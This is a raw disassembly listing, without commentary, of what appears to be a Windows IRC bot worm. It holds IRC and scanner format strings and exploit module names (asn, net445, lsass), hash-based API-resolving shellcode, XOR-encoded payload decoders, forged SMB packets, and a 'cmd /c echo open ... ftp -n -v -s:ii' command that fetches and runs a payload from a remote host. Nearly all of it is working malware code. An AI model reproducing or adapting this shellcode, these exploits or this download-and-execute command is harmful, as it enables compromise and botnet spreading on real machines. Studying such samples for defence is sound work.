					; sub_410030+1118o ...
		align 4
asc_444C68:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C74:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 4
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 8
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 8
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 4
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 10h
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 10h
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 4
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 4
asc_444D18:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D1C:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D20	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D24	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 10h
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 10h
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D64	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D68	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D74	dd 652Dh	dword_444D78	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 10h
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DB4	db 1			; DATA XREF: sub_41A390r
		align 4
dword_444DB8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444E04:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E18	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E2C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E64	dd 63257325h, 0						; sub_41F960+E5o
dword_444E6C	dd 72h		dword_444E70	dd 30h							; sub_424920+327o
dword_444E74	dd 3039h	dword_444E78	dd 383631h	dword_444E7C	dd 323931h	dword_444E80	dd 3631h	dword_444E84	dd 323731h	dword_444E88	dd 3031h	off_444E8C	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E90	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E94	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E98	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E9C	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 8
asc_444ED8	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FDC	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FEC	dd 6469706Bh, 7325203Ah, 0dword_444FF8	dd 203A736Bh, 7325hdword_445000	dd 202E6425h, 7325202Fh, 0dword_44500C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 4
asc_445088:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_445304	dd offset asc_616C4E	; DATA XREF: sub_4208E0+E3o
					; "ллллллллллллллллллллллллллллллллллллллл"...
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_44531C	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 10h
asc_4453F0:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445428	dd 1BDh							; sub_422B40+310o ...
off_44542C	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445430	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 10h
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422B40+747o
off_4455F0	dd offset loc_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455F4	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 4
		dd 0
dword_4456EC	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_424920+BDo
		align 10h
dword_4458B0	dd 10FF8h, 0	dword_4458B8	dd 10FF8h	dword_4458BC	dd 7FFDF020h, 0	dword_4458C4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44594C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44597C	dd 0		dword_445980	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_445988	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A84
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A9A
		mov	[esi+8], eax
		call	sub_445A4D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A9A
		mov	[esi+0Ch], eax
		call	sub_4459FF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A9A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459FF	proc near		; CODE XREF: sub_445988+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A28
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459FF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A28	proc near		; CODE XREF: sub_4459FF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A37:				; CODE XREF: sub_445A28+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A44
		inc	ebx
		jmp	short loc_445A37
; ---------------------------------------------------------------------------


loc_445A44:				; CODE XREF: sub_445A28+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A4D	proc near		; CODE XREF: sub_445988+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A65:				; CODE XREF: sub_445A4D+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A6D
		mov	ecx, [ecx]
		jmp	short loc_445A65
; ---------------------------------------------------------------------------


loc_445A6D:				; CODE XREF: sub_445A4D+1Aj
		mov	edx, edi


loc_445A6F:				; CODE XREF: sub_445A4D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A79
		mov	edx, [edx+4]
		jmp	short loc_445A6F
; ---------------------------------------------------------------------------


loc_445A79:				; CODE XREF: sub_445A4D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A84	proc near		; CODE XREF: sub_445988+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A84	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A9A	proc near		; CODE XREF: sub_445988+16p
					; sub_445988+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AB0:				; CODE XREF: sub_445A9A+33j
		jecxz	short loc_445AEA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445ABD:				; CODE XREF: sub_445A9A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AC9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445ABD
; ---------------------------------------------------------------------------


loc_445AC9:				; CODE XREF: sub_445A9A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AB0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445AEA:				; CODE XREF: sub_445A9A:loc_445AB0j
					; sub_445A9A:loc_445AEAj
		jmp	short loc_445AEA
sub_445A9A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445AF0	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B42
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445B0D:				; CODE XREF: sub_445AF0+38j
		jecxz	short loc_445B3D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B18:				; CODE XREF: sub_445AF0+32j
		lodsb
		test	al, al
		jz	short loc_445B24
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B18
; ---------------------------------------------------------------------------


loc_445B24:				; CODE XREF: sub_445AF0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445B0D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B3D:				; CODE XREF: sub_445AF0:loc_445B0Dj
		mov	[esp+arg_0], ebx
		retn
sub_445AF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B42	proc near		; CODE XREF: sub_445AF0+7p

; FUNCTION CHUNK AT 00445B7A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B5B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B66
; ---------------------------------------------------------------------------


loc_445B5B:				; CODE XREF: sub_445B42+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B66:				; CODE XREF: sub_445B42+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B7A
sub_445B42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B6D	proc near		; CODE XREF: sub_445B42:loc_445B7Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B6D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B42


loc_445B7A:				; CODE XREF: sub_445B42+29j
		call	sub_445B6D
; END OF FUNCTION CHUNK	FOR sub_445B42
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C14	dd 23h		dword_445C18	dd 60h		dword_445C1C	dd 62B0606h, 2050501h, 0A0hdword_445C28	dd 0A1h		dword_445C2C	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 4


loc_445C38:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C40
; ---------------------------------------------------------------------------
		align 10h
dword_445C40	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CFA

; =============== S U B	R O U T	I N E =======================================



sub_445CEA	proc far		; CODE XREF: sub_445CEA:loc_445CFAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CF2:				; CODE XREF: sub_445CEA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CF2
		jmp	short loc_445CFF
; ---------------------------------------------------------------------------


loc_445CFA:				; CODE XREF: ___:00445CE8j
		call	near ptr sub_445CEA


loc_445CFF:				; CODE XREF: sub_445CEA+Ej
		jo	short loc_445D63
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D81
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D63:				; CODE XREF: sub_445CEA:loc_445CFFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D81:				; CODE XREF: sub_445CEA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CEA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E28:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E3A

; =============== S U B	R O U T	I N E =======================================



sub_445E2A	proc near		; CODE XREF: sub_445E2A:loc_445E3Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E32:				; CODE XREF: sub_445E2A+Cj
		xor	byte ptr [edx+ecx], 99h
